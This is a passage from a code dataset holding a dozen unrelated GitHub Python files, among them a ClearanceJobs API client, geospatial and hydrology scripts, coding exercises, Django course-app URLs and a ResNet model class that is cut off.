\n        laravel_token can be saved somewhere like redis. \n\n        Args:\n            csrf (str): X-CSRF-TOKEN .\n            laravel_token: Laravel token used to set the session cookies.\n        \"\"\"\n        domain = self.url.split(\"/\")[2]\n        self.session.headers.update({\n            'X-CSRF-TOKEN': csrf\n        })\n        self.session.cookies.set(\n            'laravel_token', \n            laravel_token, \n            domain=domain,\n            path='/'\n        )\n\n    def get(self, route: str) -> requests.models.Response:\n        \"\"\"GET request wrapper for Clearance Jobs.\n\n        Args:\n            route (str): Route for the GET request.\n\n        Returns:\n            requests.models.Response: Response object.\n        \"\"\"\n        url = \"{}{}\".format(self.url, route)\n        resp = self.session.get(url)\n        resp.raise_for_status()\n\n        return resp\n\n    def post(self, route: str, body: dict) -> requests.models.Response:\n        \"\"\"POST request wrapper for Clearance Jobs.\n\n        Args:\n            route (str): Route for the POST request.\n            body (dict): Body (data) for the POST request.\n\n        Returns:\n            requests.models.Response: Response Object.\n        \"\"\"\n        url = \"{}{}\".format(self.url, route)\n        resp = self.session.post(url, json=body)\n        resp.raise_for_status()\n\n        return resp\n\n    def login(self, username, password) -> str:\n        \"\"\"Login for Clearance Jobs API.\n\n        Logs into Clearance Jobs and gets a csrf_token used for subsequent\n        api calls.\n\n        Args:\n            username (str): Username for clearance job\n            password (str): Password for clearance job\n\n        Returns:\n            csrf (str): CSRF Token.\n        \"\"\"\n        body = {\n            \"username\": username,\n            \"password\": password\n        }\n        resp = self.post('/auth/login', body).json()\n        csrf = resp['csrf_token']\n        self.session.headers.update({\n            'X-CSRF-TOKEN': csrf\n        })\n        logging.info('Logged in successfully')\n        return csrf\n\n    def get_metadata(\n        self,\n        options=[\n            'radius_op','received_op','poly_types_op','clearance_types_op',\n            'job_type_op,career_level_op','edu_op','desired_salary_op',\n            'state_op','relocate_op','location_us_op',\n            'location_international_op','resume_sort_cj_search_op','indu_op'\n        ]\n    ):\n        route = '/options/batch?options='\n        for option in options:\n           route = \"{}{},\".format(route,option)\n        return self.get(route)\n\n    def get_user_profile(self, user_id):\n        route = '/profiles/{}'.format(user_id)\n        return self.get(route)\n\n    def parse_profile(self, data):\n        #TODO: get email, phone, resume, etc\n        pass\n\n    def people_search(\n        self,\n        keyword: str,\n        auto_paginate: bool=False,\n        min_clearance: int=4,\n        received: str=\"a\",\n        limit: int=25,\n        page: int=1,\n        sort_info: str=\"timestamp desc\",\n        **kwargs\n    ) -> dict:\n        \"\"\"Search for people.\n\n        This searches for people based on the criteria and returns a list of\n        users in a dictionary.\n\n        Args:\n            keywords (str): A keyword used when seraching users.\n            auto_paginate (bool): Defaults to False. Automatically get results\n                from all pages and return in 1 dictionary.\n            min_clearance (int, optional): Defaults to 4. Can get options from\n                \"get_metadata\" method using \"clearance_types_op\" as an option.\n            received (str, optional): Defaults to \"a\". Can get options from\n                \"get_metadata\" method using \"received_op\" as an option.\n            limit (int, optional): Defaults to 25. Specift a limit of people to\n                return.\n            page (int, option): Defaults to 1. Used for pagination. If more\n                people are returned than the limit then there will be multiple\n                pages.\n            sort_info (str, option): Defaults to timestamp desc. Used for\n                sorting the response of people.\n\n        Returns:\n            dict: Dictionary response from API return.\n        \"\"\"\n\n        body = {\n            \"min_clearance\":min_clearance,\n            \"received\":received,\n            \"keywords\":keyword,\n            \"limit\":limit,\n            \"page\":page,\n            \"sort_info\":sort_info\n        }\n        if len(kwargs)>0:\n            body.update(kwargs)\n\n        data = self.post('/resumes/search', body)\n        if auto_paginate:\n            data = data.json()\n            pages = data['meta']['pagination']['total_pages']\n            if pages>1:\n                for i in range(1,pages):\n                    i = i + 1\n                    body['page'] = i\n                    temp_data = self.post('/resumes/search', body).json()\n                    data['data'].extend(temp_data['data'])\n        return data\n","repo_name":"kylecribbs/ClearanceJobs","sub_path":"ClearanceJobs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6021,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"41962771061","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov  6 16:23:35 2020\n\n@author: elmsc\n\"\"\"\n\n#%%\nimport geopandas as gpd\nimport pandas as pd\nimport rasterio\nimport fiona\nimport rasterstats \nimport matplotlib.pyplot as plt\n\n#%%\n\nimport os\nos.chdir('G:/.shortcut-targets-by-id/1ihZCdFkFKljvEUetC8IiiE7JEDSGKA4J/hersh_lab/')\n\n#%%\n\ngdb_loc = 'sahel/senegal/Senegal_geodatabase/SEN.gdb'\nlayer_list = fiona.listlayers(gdb_loc)\n\n#%%\n\ncountry = gpd.read_file(gdb_loc, driver='FileGDB', layer='sen_admbnda_adm3_1m_gov_ocha_02032017')\ncountry.plot()\ncountry.describe()\ncountry.info()\n\n#%%\n\npop = rasterio.open('sahel/senegal/Senegal_geodatabase/output/tiff/sen_population_2020.tif')\n\n# raster only viz\n# fig, ax = plt.subplots(1,1,figsize=(15, 15))\n# rasterio.plot.show(pop, title = 'population')\n\n# raster and subarea viz\n# fig, ax = plt.subplots(1,1,figsize=(15, 15))\n\n# rasterio.plot.show(pop, ax=ax, title = 'population')\n# country.plot(ax=ax, facecolor='None', edgecolor='yellow', linewidth=2)\n# plt.show()\n\n# del(ax,fig)\n\n#%%\n\n# raster vals to numpy array\nprint(pop.meta)\ntarget_array = pop.read(1)\naffine = pop.transform\n\n#creates a list with zonal stats\nsum_rf = rasterstats.zonal_stats(country, target_array, affine=affine,\n                                 stats=['sum','mean'],\n                                 geojson_out=True)\n\n#%%\n\n# turns list into dataframe\nsum_pop = []\ni = 0\n\nwhile i < len(sum_rf):\n    sum_pop.append(sum_rf[i]['properties'])\n    i = i + 1\n\nsum_rf_sub_area = pd.DataFrame(sum_pop)\n\n\n#%%\n\ncountry.reset_index(inplace=True)\nsum_rf_sub_area.reset_index(inplace=True)\n\ncountry = pd.merge(country, sum_rf_sub_area[['index', 'sum', 'mean']], on='index', how='inner')\n\ncountry['per_1000'] = country['sum'] /1000\n#%%\n\nfig, ax = plt.subplots(1, 1)\n\nax = country.plot(column='per_1000', ax=ax, legend=True,markersize=5,\n                   legend_kwds={'orientation': \"horizontal\"})\n\nax.set_axis_off()\nax.tick_params(left=False, labelleft=False, bottom=False, labelbottom=False)\n\n#wh\nax.text(-14,9, \"Population per 1000 people\", fontsize=15, verticalalignment='center', horizontalalignment='center')\nax.set_title('Senegal Population', fontsize= 20)\n#fig.set_size_inches(25,20)\n\n#%%\nimport mapclassify as mc\n\nclassifier = mc.NaturalBreaks.make(k=5)\ncountry['natural_breaks'] = country[['per_1000']].apply(classifier)\n\n#%%\nimport collections\ngrouped = country.groupby('natural_breaks')\n\n#%%\n\nimport matplotlib.patches as mpatches\n\nlegend_dict = collections.OrderedDict([])\n\nfor cl, valds in grouped:\n   minv = valds['per_1000'].min()\n   maxv = valds['per_1000'].max()\n   legend_dict.update({\"Class {}: {} - {}\".format(cl, minv, maxv): \"white\"})\n   print(\"Class {}: {} - {}\".format(cl, minv, maxv))\n   \nfig, ax = plt.subplots()\ncountry.plot(ax=ax, column=\"natural_breaks\", linewidth=0, legend=True)\nax.set_axis_off()\n\nax.set_title('Senegal Population', fontsize= 15)\n\npatchList = []\n\nfor key in legend_dict:\n   data_key = mpatches.Patch(color=legend_dict[key], label=key)\n   patchList.append(data_key)\n\nplt.legend(handles=patchList, loc='lower center', bbox_to_anchor=(0.5, -0.6), ncol=1)\n\nax.text(-14,9, \"Population per 1000 people\", fontsize=15, verticalalignment='center', horizontalalignment='center')","repo_name":"HershLab/Sahel-Population","sub_path":"src/rasterio-pop.py","file_name":"rasterio-pop.py","file_ext":"py","file_size_in_byte":3207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"75247729973","text":"\"\"\"\nyou need to write function (hex_output) that takes a hex number and returns decimal equivalent\n--- from uni classes :) ---\nhex |0|1|2|3|4|5|6|7|8|9|A |B |C |D |E |F |\ndec |0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|\nexample: C9 -- from classes :)\n9 = 9 * (16 ** 0) = 9\nC = 12 * (16 ** 1) = 192\n192 + 9 = 201\n\"\"\"\n# my solution\ndef hex_output(hex_num: str) -> int:\n    hex_dec = {'0': 0, '1': 1, '2': 2, '3': 3,\n               '4': 4, '5': 5, '6': 6, '7': 7,\n               '8': 8, '9': 9, 'A': 10, 'B': 11,\n               'C': 12, 'D': 13, 'E': 14, 'F': 15}\n    decimal = 0\n    for i, v, in enumerate(reversed(hex_num)):\n        decimal += hex_dec[v] * (16 ** i)\n\n    return decimal\n\n\nhex_num = input('Please enter number in Hexadecimal: ')\nprint(f'{hex_num} is {hex_output(hex_num)} in Decimal')\n\n\n# solution from book\n# it seems that I did not understood the task :)\n# I could use built-in int() and define the base\n# main take away is read everything ;)\n\ndef hex_output():\n    decnum = 0\n    hexnum = input('Enter a hex number to convert: ')\n    for power, digit in enumerate(reversed(hexnum)):\n        decnum += int(digit, 16) * (16 ** power)\n    print(decnum)\nhex_output()","repo_name":"lifelonglearnerit/python_workout","sub_path":"exercise_4_hexadecimal_output.py","file_name":"exercise_4_hexadecimal_output.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28849954494","text":"#Header read\n\n_,H = input().split()\nM,I,R,BL,CL = list(map(int, H))\n\n# M = パン焼き器番号\n# I = パン種類\n# R = オーダー数\n# BL = BOM(機器情報)行数\n# CL = COMBI(段取り)行数\n\n#Machine read\n\nrq = [0]*M\nmn = [0]*M\nmd = []\n\nfor i in range(M):\n    _,machine = input().split()\n    machine = list(map(int, machine))\n    m = machine[0]\n    rq[m] = machine[1]\n    mn[m] = machine[2]\n    md.append(mathine[2:])\n\n# rq = 焼ける数\n# mn = 休日の個数\n# md[] = 休日データ\n\n#BOM read\n\ninf = float('inf')\nc = [[inf]*M for _ in range(I)]\nec = [[inf]*M for _ in range(I)]\n\nfor i in range(BL):\n    _,bom = input().split()\n    bom = list(map(int, bom))\n    c[bom[0]][bom[1]] = bom[2]\n    ec[bom[0]][bom[1]] = bom[3]\n\n# c[][] = パンの焼き時間\n# ec[][] = 電力コスト\n#[パンの種類][マシン番号]\n\n#COMBI read\n\ninf = float('inf')\nc = [[[inf]*I for _ in range(I)] for _ in range(M)]\nec = [[[inf]*I for _ in range(I)] for _ in range(M)]\n\nfor i in range(BL):\n    _,combi = input().split()\n    combi = list(map(int, combi))\n    t[combi[0]][combi[1]][combi[2]] = combi[3]\n    cc[combi[0]][combi[1]][combi[2]] = combi[4]\n\n# t[][] = パン切り替えにかかる時間\n# cc[][] = 段取りコスト\n# [マシン番号][切り替え前のパン][切り替え後のパン]","repo_name":"kentahoriuchi/Atcorder","sub_path":"Asprova/sample_code.py","file_name":"sample_code.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10789396625","text":"def angkaprima(angka):\n    hasil=[]\n    faktor = 0 # initial value untuk jumlah faktor\n    for i in range(1, angka+1):\n        if angka % i == 0 :\n            faktor += 1\n            hasil.append(i)\n    if len(hasil)==2:\n        return True\n    else:\n        return False\n\ndef prismaSegiempat(P, L, X):\n    list_prisma=[]\n    for i in range(1,50):\n        if angkaprima(i) == True:\n            list_prisma.append(\" \"+str(i))\n    \n    gabung = []\n    banyaknya_prim = P*L\n    satu=[' 1']\n    if X == 1 :\n        list_prisma = satu + list_prisma\n    else :\n        list_prisma=list_prisma[list_prisma.index(\" \"+str(X)):]\n    total = 0\n    for i in range(1,(P*L)+1):\n        total=total+int(list_prisma[i])\n\n    new=[]\n    for i in range(0,len(list_prisma)-P,P):\n        listbaru = []\n        listbaru.append(list_prisma[i+1:i+P+1])\n        \n        string=''.join(listbaru[0])\n        gabung.append(string)\n    i = 1\n    while i <= L:\n        print(gabung[i-1])\n        i += 1\n    return(\"Total: {}\".format(total))\n\nprint(prismaSegiempat(2, 3, 13))\nprint('')\nprint(prismaSegiempat(5, 2, 1))\nprint('')\n    \n\n\n\n","repo_name":"hamdiranu/backUp_Alta","sub_path":"Alta Batch 4/Phase 1/Week 1/Day 2/Tugas/Problem 3/3 - Prima Segi Empat.py","file_name":"3 - Prima Segi Empat.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70428664053","text":"#!/usr/bin/env python\n\"\"\"\nUsage:\n    coordinates.py resize <length> <input_BED_file_path> <output_BED_file_path>\n    coordinates.py split_strand <input_BED_file_path> <output_BED_directory_path>\n\n    Blablabla\n\nOptions:\n\n\"\"\"\n\nfrom docopt import docopt\nfrom gencoor.coordinates import GenCoorSet\nimport os\n\nif __name__ == '__main__':\n    arg = docopt(__doc__)\n    if arg[\"resize\"]:\n        gc = GenCoorSet(name=\"input\")\n        gc.load(arg[\"<input_BED_file_path>\"], filetype=\"BED\")\n        gc.relocate(mode='center as center', width=int(arg[\"<length>\"]))\n        gc.save(arg[\"<output_BED_file_path>\"], filetype=\"BED\")\n\n    elif arg[\"split_strand\"]:\n        name = os.path.basename(arg[\"<input_BED_file_path>\"]).split(\".\")[0]\n        print(os.path.join(arg[\"<output_BED_directory_path>\"], name + \"_\" + \"+\" + \".bed\"))\n        gc = GenCoorSet(name=\"input\")\n        gc.load(arg[\"<input_BED_file_path>\"], filetype=\"BED\")\n        res = gc.split_by_strands()\n        for k, g in res.items():\n            g.save(os.path.join(arg[\"<output_BED_directory_path>\"],\n                                name + \"_\" + k + \".bed\"),\n                   filetype=\"BED\")\n","repo_name":"chaochungkuo/gencoor","sub_path":"tools/coordinates.py","file_name":"coordinates.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8935319592","text":"import time\nfrom utils import show\n\nclass Node:\n\n    def __init__(self, key = None):\n        \"\"\"Each node consists of a data/key, count of the occurrences of the data/key\n        pointer to the first child, pointer to an adjacent sibling\"\"\"\n        self.data = key\n        self.count = 1\n        self.child = None\n        self.next = None\n        self.prob = 0\n\n    def incrementCount(self):\n        \"\"\"Increments the count of the data or key associated with the node\"\"\"\n        self.count += 1\n\n    def setChild(self, child):\n        \"\"\"Set the child pointer to the first child\"\"\"\n        self.child = child\n\n    def setNext(self, sibling):\n        \"\"\"Sets the next pointer to the next sibling\"\"\"\n        self.next = sibling\n\n    def setCount(self, count):\n        \"\"\"Sets the count of the data or key associated with the node\"\"\"\n        self.count = count\n\n    def getData(self):\n        \"\"\"Returns the data or key associated with the node\"\"\"\n        return(self.data)\n\n    def getCount(self):\n        \"\"\"Returns the count of the data or key associated with the node\"\"\"\n        return(self.count)\n\n    def getChild(self):\n        \"\"\"Returns the first child of the node\"\"\"\n        return(self.child)\n\n    def getNext(self):\n        \"\"\"Returns the adjacent sibling of the node\"\"\"\n        return(self.next)\n\nclass PST:\n\n    def __init__(self):\n        \"\"\"Initialize tree with empty root node\"\"\"\n        self.root = Node()\n\n    def find(self, current, key):\n        \"\"\"Finds the node with the given key\"\"\"\n        while current != None:\n            if current.getData() == key:\n                return current\n            current = current.getNext()\n        return current\n\n    def fit(self, data, size):\n        \"\"\" Build a tree on the given data\n\n        Parameters\n        ----------\n        data : List or str\n               Data to be fit\n        size : int\n               Maximum depth of tree or length of buffer\n        \"\"\"\n\n        # Check input data types\n        if not (isinstance(data, list) or isinstance(data, str)):\n            raise Exception(\"Data should be string or list, but given {}\".format(type(data)))\n        elif not isinstance(size, int):\n            raise Exception(\"Buffer size should be an integer, but given {}\".format(type(size)))\n        # Fit PST on the data\n        else:\n            start = time.time()\n            for i in range(len(data)):\n                # Fill buffer\n                S = data[i:i+size]\n                parent = self.root\n                for j in range(len(S)):\n                    # get children\n                    current = parent.getChild()\n                    # find node corresponding to given data\n                    temp = self.find(current, S[j])\n                    # if node exists, increment its count\n                    if temp != None:\n                        temp.incrementCount()\n                    # node does not exist, create one\n                    else:\n                        temp = Node(S[j])\n                        temp.setNext(current)\n                        parent.setChild(temp)\n                    parent = temp\n            self.counts_to_prob()\n            print(\"Fit complete in {:0.4f} s\".format(time.time() - start))\n\n    def _counts(self):\n        \"\"\"Returns the total count at each level\"\"\"\n        temp = [self.root]\n        counts = list()\n        while len(temp):\n            parent = temp.pop(0)\n            current = parent.getChild()\n            count = 0\n            while current != None:\n                count += current.getCount()\n                temp.append(current)\n                current = current.getNext()\n            counts.append(count)\n        return counts\n\n    def counts_to_prob(self):\n        \"\"\"Converts the counts to probabilities\"\"\"\n        counts = self._counts()\n        temp = [self.root]\n        while len(temp):\n            parent = temp.pop(0)\n            current = parent.getChild()\n            while current != None:\n                current.setCount(current.getCount() / counts[0])\n                temp.append(current)\n                current = current.getNext()\n            counts.pop(0)\n","repo_name":"sidharth5n/Outlier-PST","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8319626927","text":"import torch.nn as nn\r\n\r\ndef select_loss_func(name):\r\n\r\n    if name == \"L1\":\r\n        return nn.L1Loss()\r\n    elif name == \"MSE\":\r\n        return nn.MSELoss()\r\n    elif name == \"BCE\":\r\n        return nn.BCELoss()\r\n    else:\r\n        raise Exception(\"Undefined loss function\")","repo_name":"zhuhao-nju/mvfr","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"21"}
+{"seq_id":"29471739923","text":"import pandas\nimport json\n\n\ndef toPandasDeserializer(message):\n    \"\"\"\n    Deserialize kafka message to pandas.DataFrame\n    :param message:\n    :return:\n    \"\"\"\n    message = message.decode('utf-8')\n    messageList = message.split('__')\n    if messageList:\n        jsonList = [json.loads(x) for x in messageList]\n        if type(jsonList[0]) != dict:\n            jsonList = [x for sublist in jsonList for x in sublist]\n        df = pandas.DataFrame([x['values'] for x in jsonList])\n        df.index = [pandas.Timestamp.utcfromtimestamp(int(x['ts']) / 1000.0) for x in jsonList]\n    else:\n        df = pandas.DataFrame()\n    return df\n\n\ndef toThingsboardDeserializer(message):\n    \"\"\"\n    Deserialize kafka message to thingsboard publish message.\n    :param message:\n    :return:\n    \"\"\"\n    df = toPandasDeserializer(message)\n    dataToSend = []\n    for timeIndex in df.index:\n        ts = int(timeIndex.tz_localize('israel').timestamp() * 1000)\n        dataToSend.append(dict(ts=ts, values=df.loc[timeIndex].to_dict()))\n    return json.dumps(dataToSend).encode('utf-8')","repo_name":"YutingYao/YutingDB","sub_path":"GeoBigData/SPARK/Spark_Kafka_RDD_Humidity/06 - kafka2things02.py","file_name":"06 - kafka2things02.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"71702577334","text":"import pyla\nimport sys\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ncodigo_estacion = '47017160'\n'''\ncodigo_estacion = '47017150'\n\ncodigo_estacion = '11117050'\ncodigo_estacion = '37057020'\ncodigo_estacion = '44037040'\n\ncodigo_estacion = '51027060'\n\ncodigo_estacion = '21237020'\ncodigo_estacion = '23037010'\n\ncodigo_estacion = '36027050'\ncodigo_estacion = '12017010'\n\ncodigo_estacion = '47017170'\n\n'''\ncomid, _                = pyla.data_download.get_comit_from_station(ID = codigo_estacion)\n\n# Series historicas\nserie_hist_observada, _ = pyla.data_download.get_historical_data(codigo_estacion)\nserie_hist_simulada, _  = pyla.data_download.get_historical_sim_data(comid, serie_hist_observada)\n\nserie_hist_observada['data'] = serie_hist_observada['data'] * (1/100)\nserie_hist_simulada['data'] = serie_hist_simulada['data'] * (1/100)\n\n# Medicion actual\nserie_curr_observada, _ = pyla.data_download.get_currently_fews_data(station_code = codigo_estacion)   \n\n# Pronostico\npronostico_cache, _     = pyla.data_download.get_forecast_data_cache(station = codigo_estacion)\n\n\n# Niveles de alerta\nWP_p10_obs  = serie_hist_observada.groupby([serie_hist_observada.index.year]).min().quantile(0.1)\n\nWP_7N10_obs_serie = serie_hist_observada.rolling(window=7).mean().groupby(serie_hist_observada.index.year).min().dropna()['data'].tolist()\nWP_7N10_obs, _    = pyla.data_analysis.get_data_from_return_period(rp   = 10, time_serie = WP_7N10_obs_serie)\n\nWP_MINH_obs = serie_hist_observada.min()\n\n\n\nWP_p10_sim  = serie_hist_simulada.groupby([serie_hist_simulada.index.year]).min().quantile(0.1)\n\nWP_7N10_sim_serie = serie_hist_simulada.rolling(window=7).mean().groupby(serie_hist_simulada.index.year).min().dropna()['data'].tolist()\nWP_7N10_sim, _    = pyla.data_analysis.get_data_from_return_period(rp   = 10, time_serie = WP_7N10_sim_serie)\n\nWP_MINH_sim = serie_hist_simulada.min()\n\nfig, axs = plt.subplots(2, 1)\n\nserie_hist_observada.plot(ax=axs[0], label='obs')\nserie_hist_simulada.plot(ax=axs[0], label='sim')\nserie_curr_observada.plot(ax=axs[1])\n\naxs[0].hlines(WP_p10_obs,\n             xmin=serie_hist_observada.index.min(),\n             xmax=serie_hist_observada.index.max(),\n             label='WP_p10_obs: '+str(WP_p10_obs.values[0]),\n             colors='blue')\naxs[1].hlines(WP_p10_obs,\n              xmin=serie_curr_observada.index.min(), \n              xmax=serie_curr_observada.index.max(), \n              label='WP_p10_obs: '+str(WP_p10_obs.values[0]),\n              colors='blue')\n\naxs[0].hlines(WP_p10_sim,\n              xmin=serie_hist_simulada.index.min(),\n              xmax=serie_hist_simulada.index.max(), \n              label='WP_p10_sim: '+str(WP_p10_sim.values[0]),\n              colors='red')\naxs[1].hlines(WP_p10_sim, \n              xmin=serie_curr_observada.index.min(), \n              xmax=serie_curr_observada.index.max(), \n              label='WP_p10_sim: '+str(WP_p10_sim.values[0]),\n              colors='red')\n\naxs[0].hlines(WP_MINH_obs,\n              xmin=serie_hist_simulada.index.min(),\n              xmax=serie_hist_simulada.index.max(), \n              label='WP_MINH_obs: '+str(WP_MINH_obs.values[0]),\n              colors='orange')\naxs[1].hlines(WP_MINH_obs, \n              xmin=serie_curr_observada.index.min(), \n              xmax=serie_curr_observada.index.max(), \n              label='WP_MINH_obs: '+str(WP_MINH_obs.values[0]),\n              colors='orange')\n\naxs[0].hlines(WP_MINH_sim,\n              xmin=serie_hist_simulada.index.min(),\n              xmax=serie_hist_simulada.index.max(), \n              label='WP_MINH_sim: '+str(WP_MINH_sim.values[0]),\n              colors='cyan')\naxs[1].hlines(WP_MINH_sim, \n              xmin=serie_curr_observada.index.min(), \n              xmax=serie_curr_observada.index.max(), \n              label='WP_MINH_sim: '+str(WP_MINH_sim.values[0]),\n              colors='cyan')\n\n\naxs[0].hlines(WP_7N10_obs,\n              xmin=serie_hist_simulada.index.min(),\n              xmax=serie_hist_simulada.index.max(), \n              label='WP_7N10_obs: '+str(WP_7N10_obs),\n              colors='green')\naxs[1].hlines(WP_7N10_obs, \n              xmin=serie_curr_observada.index.min(), \n              xmax=serie_curr_observada.index.max(), \n              label='WP_7N10_obs: '+str(WP_7N10_obs),\n              colors='green')\n\naxs[0].hlines(WP_7N10_sim,\n              xmin=serie_hist_simulada.index.min(),\n              xmax=serie_hist_simulada.index.max(), \n              label='WP_7N10_sim: '+str(WP_7N10_sim),\n              colors='lightgreen')\naxs[1].hlines(WP_7N10_sim, \n              xmin=serie_curr_observada.index.min(), \n              xmax=serie_curr_observada.index.max(), \n              label='WP_7N10_sim: '+str(WP_7N10_sim),\n              colors='lightgreen')\n\n\naxs[0].legend()\naxs[1].legend()\nplt.show()\n","repo_name":"jhrodriguezch/IDEAMGGlows","sub_path":"pyAGIS_lib/old/test_2_forecast.py","file_name":"test_2_forecast.py","file_ext":"py","file_size_in_byte":4795,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9506320606","text":"import os\nfrom setuptools import setup, find_packages\n\ndef read_file(filename):\n    \"\"\"Read a file into a string\"\"\"\n    path = os.path.abspath(os.path.dirname(__file__))\n    filepath = os.path.join(path, filename)\n    try:\n        return open(filepath).read()\n    except IOError:\n        return ''\n\n# Use the docstring of the __init__ file to be the description\nDESC = \" \".join(__import__('django_windows_tools').__doc__.splitlines()).strip()\n\nsetup(\n    name = 'django-windows-tools',\n    version = __import__('django_windows_tools').get_version().replace(' ', '-'),\n    url = 'https://github.com/antoinemartin/django-windows-tools',\n    author = 'Antoine Martin',\n    author_email = 'antoine@openance.com',\n    description = DESC,\n    long_description = read_file('README.rst'),\n    packages = find_packages(),\n    include_package_data = True,\n    install_requires=read_file('requirements.txt'),\n    classifiers = [ # see http://pypi.python.org/pypi?:action=list_classifiers\n\t'Development Status :: 4 - Beta',\n\t'Environment :: Web Environment',\n    'Framework :: Django',\n    'Operating System :: Microsoft :: Windows',\n\t'Intended Audience :: Developers',\n    'License :: OSI Approved :: BSD License',\n    'Operating System :: OS Independent',\n    'Programming Language :: Python',\n    'Topic :: Internet :: WWW/HTTP',\n    'Topic :: System :: Installation/Setup',\n    ],\n    keywords='Django Windows',\n    entry_points=\"\"\"\n    # -*- Entry points: -*-\n    \"\"\",\n)","repo_name":"antoinemartin/django-windows-tools","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"21"}
+{"seq_id":"6477014672","text":"from django.urls import path\n\nfrom course_app.apps import CourseAppConfig\nfrom rest_framework.routers import DefaultRouter\n\n# from course_app.views import CourseViewSet, LessonCreateAPIView\nfrom course_app.views import *\n\napp_name = CourseAppConfig.name\n\nrouter = DefaultRouter()\nrouter.register(r'course', CourseViewSet, basename='course')\n\nurlpatterns = [\n    path('lesson/create/', LessonCreateAPIView.as_view(), name='lesson-create'),\n    path('lesson/', LessonListAPIView.as_view(), name='lesson-list'),\n    path('lesson/<int:pk>/', LessonRetrieveAPIView.as_view(), name='lesson-retrieve'),\n    path('lesson/update/<int:pk>/', LessonUpdateAPIView.as_view(), name='lesson-update'),\n    path('lesson/delete/<int:pk>/', LessonDestroyAPIView.as_view(), name='lesson-delete'),\n\n    path('payment/list/', PaymentListAPIView.as_view(), name='payment-list'),\n    path('payment/create/', PaymentCreateAPIView.as_view(), name='payment-create'),\n    path('payment/<int:pk>/retrieve/', PaymentRetrieveAPIView.as_view(), name='payment-retrieve'),\n\n    # path('course/<int:pk>/subscribe/', SubscriptionCreateAPIView.as_view(), name='course-subscribe'),\n    path('course/subscribe/', SubscriptionCreateAPIView.as_view(), name='course-subscribe'),\n    path('subscription/list/', SubscriptionListAPIView.as_view(), name='subscription-list'),\n    path('subscription/<int:pk>/delete/', SubscriptionDestroyAPIView.as_view(), name='subscription-destroy'),\n\n] + router.urls\n","repo_name":"Dinnland/DRF_hw","sub_path":"course_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23155084526","text":"#-*- coding:utf-8 -*-\nimport pymongo\nfrom Tokyo_logistic_topo.Tokyo_logic import TokyoTopo,ITDKkml\nclient = pymongo.MongoClient()\niii=TokyoTopo()\ncol_edge1 = client['itdkall_info']['edge_location_degree']\ncol_edge2 = client['itdkall_info']['edge_static_short_250']\n\nnode11 =  client['itdkall_info']['日本第二层的点']\n# node11.drop()\n# for edge in col_edge1.find():\n#     flag = node11.find_one(edge['start'])\n#     if not flag:\n#         node11.insert_one(edge['start'])\n#     flag = node11.find_one(edge['end'])\n#     if not flag:\n#         node11.insert_one(edge['end'])\n# for edge in col_edge2.find():\n#     flag = node11.find_one(edge['start'])\n#     if not flag:\n#         node11.insert_one(edge['start'])\n#     flag = node11.find_one(edge['end'])\n#     if not flag:\n#         node11.insert_one(edge['end'])\n# print(node11.count())\nfilename_KML = './日本筛选后未处理所有点.kml'\nf=open(filename_KML,'w')\npaint = ITDKkml(f)\n#paint.setting_line(line_hight_start=40000,line_hight_end=40000,line_width=5)\npaint.setting_point(icon_path='juanjo_Router.png',point_hight=80000,point_scale=0.5)\npaint.head()\nfor node in node11.find():\n    paint.draw_orig_point(longitude=node['longitude'],latitude=node['latitude'])\npaint.tail()\nf.close()\n","repo_name":"DarkFunct/topoOfJapan","sub_path":"东京逻辑布局/测试/日本点.py","file_name":"日本点.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4340043794","text":"from torch import nn \nfrom torchvision import models  \nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\nclass ResNet(nn.Module):\n    \"\"\"A PyTorch implementation of a ResNet model.\n    \n    This implementation uses a pre-trained ResNet-101 model and replaces the\n    final fully-connected layer with a new linear layer with 12 output units.\n    \n    Args:\n        nn (nn.Module): A PyTorch neural network module.\n    \n    Attributes:\n        resnet (nn.Sequential): A PyTorch Sequential container for the \n            pre-trained ResNet-101 model, with the final two layers removed.\n        Linear (nn.Linear): A PyTorch linear layer with 100352 input units\n            and 12 output units.\n    \"\"\"\n    def __init__(self):\n        \"\"\"Initializes the ResNet model.\n        \n        Initializes the resnet attribute as a PyTorch Sequential container \n        for the pre-trained ResNet-101 model, with the final two layers removed.\n        Initializes the Linear attribute as a PyTorch linear layer with \n        100352 input units and 12 output units.\n        \"\"\"\n        super().__init__()\n        self.resnet = nn.Sequential(*(list(models.resnet101(pretrained=True).children())[:-2]))\n        self.Linear = nn.Linear(in_features=100352, out_features=12)\n    \n    def forward(self, X):\n        